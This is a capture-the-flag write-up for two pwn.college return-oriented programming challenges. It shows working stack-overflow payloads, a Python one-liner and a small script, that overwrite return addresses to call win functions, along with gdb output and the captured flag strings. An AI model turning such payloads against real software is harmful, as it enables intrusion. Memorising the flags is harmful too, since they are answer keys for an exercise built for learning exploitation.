

BabyROP 1.0

First, we navigate to the challenge executable and try to run it.

```
hacker@babyrop_level1:/$ cd challenge/
hacker@babyrop_level1:/challenge$ ls
babyrop_level1.0
hacker@babyrop_level1:/challenge$ ./babyrop_level1.0
###
### Welcome to ./babyrop_level1.0!
###
```

This challenge reads in some bytes, overflows its stack, and allows you to perform a ROP attack. Through this series of challenges, you will become painfully familiar with the concept of Return Oriented Programming!

In this challenge, there is a win() function.
win() will open the flag and send its data to stdout; it is at 0x401f87.
In order to get the flag, you will need to call this function.

You can call a function by directly overflowing into the saved return address, which is stored at 0x7ffea3128d48, 56 bytes after the start of your input buffer. That means that you will need to input at least 64 bytes (34 to fill the buffer, 22 to fill other stuff stored between the buffer and the return address, and 8 that will overwrite the return address).

Then, we construct the payload according to the instructions. Note that the address needs to be flipped because of how little endian works.

```
hacker@babyrop_level1:/challenge$ python -c 'print("\x41"*55 + "\x87\x1f\x40" + "\x00"*5)' | ./babyrop_level1.0
###
### Welcome to ./babyrop_level1.0!
###
```

This challenge reads in some bytes, overflows its stack, and allows you to perform a ROP attack. Through this series of challenges, you will become painfully familiar with the concept of Return Oriented Programming!


In this challenge, there is a win() function.
win() will open the flag and send its data to stdout; it is at 0x401f87.
In order to get the flag, you will need to call this function.


You can call a function by directly overflowing into the saved return address, which is stored at 0x7ffcb0c7e648, 56 bytes after the start of your input buffer. That means that you will need to input at least 64 bytes (34 to fill the buffer, 22 to fill other stuff stored between the buffer and the return address, and 8 that will overwrite the return address).
Received 65 bytes! This is potentially 1 gadgets.
Let's take a look at your chain! Note that we have no way to verify that the gadgets are executable from within this challenge. You will have to do that by yourself.


```
+--- Printing 2 gadgets of ROP chain at 0x7ffcb0c7e648.
| 0x0000000000401f87: endbr64 ; push rbp ; mov rbp, rsp ; lea rdi, [rip + 0x1202] ; call 0x401150 ;
| 0x000000000000000a: (UNMAPPED MEMORY)
```

Leaving!
You win! Here is your flag:
pwn.college{kLAErjZiJLA5n0TVKbQpJLutTZo.QXxQzM5ITNyQzW}

We submit the flag and we're done.

 **babyrop level1.0** 246 solves

 Start

 Practice

Flag

Submit

Correct

BabyROP 2.0

We do the same, running the challenge executable and try to run it.

```
hacker@babyrop_level2:/challenge$ ./babyrop_level2.0
###
### Welcome to ./babyrop_level2.0!
###
```

This challenge reads in some bytes, overflows its stack, and allows you to perform a ROP attack. Through this series of challenges, you will become painfully familiar with the concept of Return Oriented Programming!

In this challenge, there are 2 stages of win functions. The functions are labeled `win_stage_1` through `win_stage_2`. In order to get the flag, you will need to call all of these stages in order.

You can call a function by directly overflowing into the saved return address, which is stored at 0x7ffdcdae178, 72 bytes after the start of your input buffer. That means that you will need to input at least 80 bytes (50 to fill the buffer, 22 to fill other stuff stored between the buffer and the return address, and 8 that will overwrite the return address).

To find win_stage_1 and win_stage_2 function's address, we will run gdb.

```
hacker@babyrop_level2:/challenge$ gdb ./babyrop_level2.0
GNU gdb (GDB) 11.1
Copyright (C) 2021 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-pc-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./babyrop_level2.0...
(No debugging symbols found in ./babyrop_level2.0)
(gdb)
```

By running 'info functions', we obtain the addresses.

```
0x0000000000401850 win_stage_1
0x00000000004018fd win_stage_2
```

We will construct a similar payload as before, but we will write two return addresses instead of one.

```
02_Return-Oriented Programming > rop2.py > ...
1 import sys
2 x = "\x41"*72 + "\x50\x18\x40" + "\x00"*5 + "\xfd\x18\x40" + "\x00"*5
3 sys.stdout.buffer.write(x.encode('latin-1'))
```

Then, we pipe the payload into the program, and we get the flag.

```
hacker@babyrop_level2:/challenge$ python ../home/hacker/rop2.py | ./babyrop_level2.0
###
### Welcome to ./babyrop_level2.0!
###
```

This challenge reads in some bytes, overflows its stack, and allows you to perform a ROP attack. Through this series of challenges, you will become painfully familiar with the concept of Return Oriented Programming!

In this challenge, there are 2 stages of win functions. The functions are labeled `win_stage_1` through `win_stage_2`. In order to get the flag, you will need to call all of these stages in order.

You can call a function by directly overflowing into the saved return address, which is stored at 0x7ffc4d8c5958, 72 bytes after the start of your input buffer. That means that you will need to input at least 80 bytes (50 to fill the buffer, 22 to fill other stuff stored between the buffer and the return address, and 8 that will overwrite the return address).

Received 88 bytes! This is potentially 2 gadgets.


Let's take a look at your chain! Note that we have no way to verify that the gadgets are executable from within this challenge. You will have to do that by yourself.


```
+--- Printing 3 gadgets of ROP chain at 0x7ffc4d8c5958.
| 0x0000000000401850: endbr64 ; push rbp ; mov rbp, rsp ; sub rsp, 0x120 ; mov dword ptr [rbp - 0x114], edi ; mov esi, 0 ; lea rdi, [rip +
0x927] ; mov eax, 0 ; call 0x401210 ;
| 0x00000000004018fd: endbr64 ; push rbp ; mov rbp, rsp ; sub rsp, 0x120 ; mov dword ptr [rbp - 0x114], edi ; mov esi, 0 ; lea rdi, [rip +
0x87a] ; mov eax, 0 ; call 0x401210 ;
| 0x00007ffc4d8c5a88: (DISASSEMBLY ERROR) c4 75 8c 4d fc 7f 00 00 d4 75 8c 4d fc 7f 00 00
```


Leaving!

```
pwn.college{UT4W--JzVIF05bTmL8gfLyyJg6Y.QXzQzMsITNyQzW}
Segmentation fault
```

We submit the flag and we're done.

 **babyrop_level2.0** 229 solves

 Start

 Practice

Flag

Submit